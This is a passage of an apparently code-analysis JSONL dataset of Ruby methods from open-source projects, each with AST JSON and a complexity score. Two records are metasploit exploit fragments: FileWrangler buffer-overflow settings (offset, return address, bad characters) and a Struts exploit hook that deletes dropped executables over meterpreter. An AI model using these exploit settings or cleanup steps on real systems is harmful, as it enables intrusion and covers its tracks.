:\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}]}","id":"b4eefd67-b6c4-42ad-a014-b3872fc2116b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/base_measure.rb","start_line":41,"raw_source":"def previous_total\n    load[:previous_total]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"previous_total\"]}]}]}","id":"6b3a3e1f-074c-4c0b-abd4-a2cb80f634de"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/new_user_narrative.rb","start_line":266,"raw_source":"def reply_to_onebox\n      post_topic_id = @post.topic_id\n      return unless valid_topic?(post_topic_id)\n\n      # NOTE: This can be a bit brittle if people change the site text for\n      # discourse_narrative_bot.new_user_narrative.onebox.instructions, or if\n      # the user drops some other random link, but we accept that risk for now.\n      found_link =\n        @post.raw.match(\n          %r{https://en\\.wikipedia\\.org/wiki/(Inherently_funny_word|Death_by_coconut|Calculator_spelling)},\n        )\n\n      if found_link\n        raw = <<~MD\n          #{I18n.t(\"#{I18N_KEY}.onebox.reply\", i18n_post_args)}\n\n          #{instance_eval(&@next_instructions)}\n        MD\n\n        fake_delay\n\n        reply = reply_to(@post, raw)\n        enqueue_timeout_job(@user)\n        reply\n      else\n        fake_delay\n        unless @data[:attempted]\n          reply_to(@post, I18n.t(\"#{I18N_KEY}.onebox.not_found\", i18n_post_args))\n        end\n        enqueue_timeout_job(@user)\n        false\n      end\n    end","complexity_score":33.5,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_to_onebox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"topic_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_topic?\",{\"type\":\"lvar\",\"children\":[\"post_topic_id\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"found_link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"raw\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"https://en\\\\.wikipedia\\\\.org/wiki/(Inherently_funny_word|Death_by_coconut|Calculator_spelling)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_link\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18N_KEY\"]}]},{\"type\":\"str\",\"children\":[\".onebox.reply\"]}]},{\"type\":\"send\",\"children\":[null,\"i18n_post_args\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@next_instructions\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fake_delay\"]},{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[null,\"reply_to\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},{\"type\":\"send\",\"children\":[null,\"enqueue_timeout_job\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"lvar\",\"children\":[\"reply\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fake_delay\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attempted\"]}]},null,{\"type\":\"send\",\"children\":[null,\"reply_to\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18N_KEY\"]}]},{\"type\":\"str\",\"children\":[\".onebox.not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"i18n_post_args\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"enqueue_timeout_job\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"cda2f41f-8620-4aee-a816-714f14ee6fe5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/filewrangler_list_reply.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'FileWrangler 5.30 Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in the FileWrangler client\n          that is triggered when the client connects to a FTP server and lists\n          the directory contents, containing an overly long directory name.\n        },\n        'Author' => [\n          'nullthreat', # found bug\n          'corelanc0d3r <peter.ve[at]corelan.be>' # wrote the exploit\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2010-20045' ],\n          [ 'OSVDB', '94555' ],\n          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh',\n        },\n        'Payload' => {\n          'Space' => 3000,\n          'BadChars' => \"\\x00\\x0d\\x1a\\x2a\\x51\",\n          'StackAdjustment' => -5000,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], # ppr [wrangler.exe]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2010-10-12',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FileWrangler 5.30 Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in the FileWrangler client\\n\"]},{\"type\":\"str\",\"children\":[\"          that is triggered when the client connects to a FTP server and lists\\n\"]},{\"type\":\"str\",\"children\":[\"          the directory contents, containing an overly long directory name.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"nullthreat\"]},{\"type\":\"str\",\"children\":[\"corelanc0d3r <peter.ve[at]corelan.be>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-20045\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"94555\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[3000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\r\\u001a*Q\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-5000]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[4082]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4374115]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-10-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"3a3dee28-ac7b-4451-9ca5-d92dfbdb9c8d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/string_concatenation.rb","start_line":129,"raw_source":"def uncorrectable?(part)\n          part.multiline? || heredoc?(part) || part.each_descendant(:any_block).any?\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"uncorrectable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"multiline?\"]},{\"type\":\"send\",\"children\":[null,\"heredoc?\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"any_block\"]}]},\"any?\"]}]}]}","id":"d194fcd1-07de-4bae-b76e-a90853e2f16c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_event_definition.rb","start_line":183,"raw_source":"def self.display_name(number = 1)\n    n_('Event Definition', 'Event Definitions', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Event Definition\"]},{\"type\":\"str\",\"children\":[\"Event Definitions\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"12c4e843-933a-420c-a6f9-5d79096f2c5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/batched_background_migrations_dictionary.rb","start_line":55,"raw_source":"def introduced_by_url\n        entry&.dig(:introduced_by_url)\n      end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"introduced_by_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entry\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"introduced_by_url\"]}]}]}","id":"19529361-a07c-47b5-ae7f-881bbb6fa1cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts_default_action_mapper.rb","start_line":96,"raw_source":"def on_new_session(session)\n    if session.type == \"meterpreter\"\n      session.core.use(\"stdapi\") unless session.ext.aliases.include?(\"stdapi\")\n    end\n\n    @dropped_files.delete_if do |file|\n      false unless file =~ /\\.exe/\n      win_file = file.gsub(\"/\", \"\\\\\\\\\")\n      if session.type == \"meterpreter\"\n        begin\n          wintemp = session.sys.config.getenv('TEMP')\n          win_file = \"#{wintemp}\\\\#{win_file}\"\n          session.shell_command_token(%Q|attrib.exe -r \"#{win_file}\"|)\n          session.fs.file.rm(win_file)\n          print_good(\"Deleted #{file}\")\n          true\n        rescue ::Rex::Post::Meterpreter::RequestError\n          print_error(\"Failed to delete #{win_file}\")\n          false\n        end\n      end\n    end\n\n    super\n  end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"ext\"]},\"aliases\"]},\"include?\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"core\"]},\"use\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dropped_files\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.exe\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"win_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wintemp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"win_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wintemp\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"shell_command_token\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"attrib.exe -r \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"lvar\",\"children\":[\"win_file\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to delete \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_file\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]},null]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3ef3a65d-ec35-4b1d-87c3-a5de87c76ce3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/conversation_reply_mailer_helper.rb","start_line":126,"raw_source":"def email_reply_to\n    return Email::ReplyToBuilder.new(inbox: @inbox, message: current_message).build if @account.feature_enabled?(:reply_mailer_migration)\n\n    email_imap_enabled ? @channel.email : reply_email\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"email_reply_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"feature_enabled?\",{\"type\":\"sym\",\"children\":[\"reply_mailer_migration\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"ReplyToBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"ivar\",\"children\":[\"@inbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"current_message\"]}]}]}]},\"build\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_imap_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"email\"]},{\"type\":\"send\",\"children\":[null,\"reply_email\"]}]}]}]}","id":"6992a1ae-bdad-493d-8e8c-3425ff8fd4dd"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/defaults_provider.rb","start_line":50,"raw_source":"def set_regardless_of_locale(name, value)\n    name = name.to_sym\n    if name == :default_locale || @site_setting.has_setting?(name)\n      @defaults.each { |_, hash| hash.delete(name) }\n      @defaults[DEFAULT_LOCALE.to_sym][name] = value\n      value, type = @site_setting.type_supervisor.to_db_value(name, value)\n      @defaults[SiteSetting.default_locale.to_sym] ||= {}\n      @defaults[SiteSetting.default_locale.to_sym][\n        name\n      ] = @site_setting.type_supervisor.to_rb_value(name, value, type)\n    else\n      raise ArgumentError.new(\"No setting named '#{name}' exists\")\n    end\n  end","complexity_score":32.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_regardless_of_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"default_locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@site_setting\"]},\"has_setting?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@defaults\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@defaults\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_LOCALE\"]},\"to_sym\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@site_setting\"]},\"type_supervisor\"]},\"to_db_value\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@defaults\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]},\"to_sym\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@defaults\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]},\"to_sym\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@site_setting\"]},\"type_supervisor\"]},\"to_rb_value\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No setting named '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"' exists\"]}]}]}]}]}]}]}","id":"f66b0f14-f20b-4de3-a04d-01afaa58dcc5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/dependency_tracker_test.rb","start_line":228,"raw_source":"def test_finds_dependencies_with_bare_assoc_hash_on_constant\n    template = FakeTemplate.new(%{\n      <%= render SomeConstant.message(this: \"that\") %>\n    }, :erb)\n\n    tracker = make_tracker(\"assoc_hash/const\", template)\n\n    assert_equal [\n      \"messages/message\",\n    ], tracker.dependencies\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finds_dependencies_with_bare_assoc_hash_on_constant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeTemplate\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <%= render SomeConstant.message(this: \\\"that\\\") %>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]},{\"type\":\"sym\",\"children\":[\"erb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tracker\",{\"type\":\"send\",\"children\":[null,\"make_tracker\",{\"type\":\"str\",\"children\":[\"assoc_hash/const\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"messages/message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"dependencies\"]}]}]}]}","id":"36097045-bdbf-43c6-ab81-4b78a3fcc60b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/article.rb","start_line":129,"raw_source":"def increment_view_count\n    # rubocop:disable Rails/SkipsModelValidations\n    update_column(:views, views? ? views + 1 : 1)\n    # rubocop:enable Rails/SkipsModelValidations\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_view_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"855fd63e-5138-48fa-bae6-908efc88be9d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/template_sync_service.rb","start_line":101,"raw_source":"def extract_body_content(template)\n    template_types = template.types\n\n    if template_types['twilio/text']\n      template_types['twilio/text']['body']\n    elsif template_types['twilio/media']\n      template_types['twilio/media']['body']\n    elsif template_types['twilio/quick-reply']\n      template_types['twilio/quick-reply']['body']\n    elsif template_types['twilio/catalog']\n      template_types['twilio/catalog']['body']\n    else\n      ''\n    end\n  end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_body_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_types\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"types\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/text\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/media\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/media\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"twilio/quick-reply\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_types\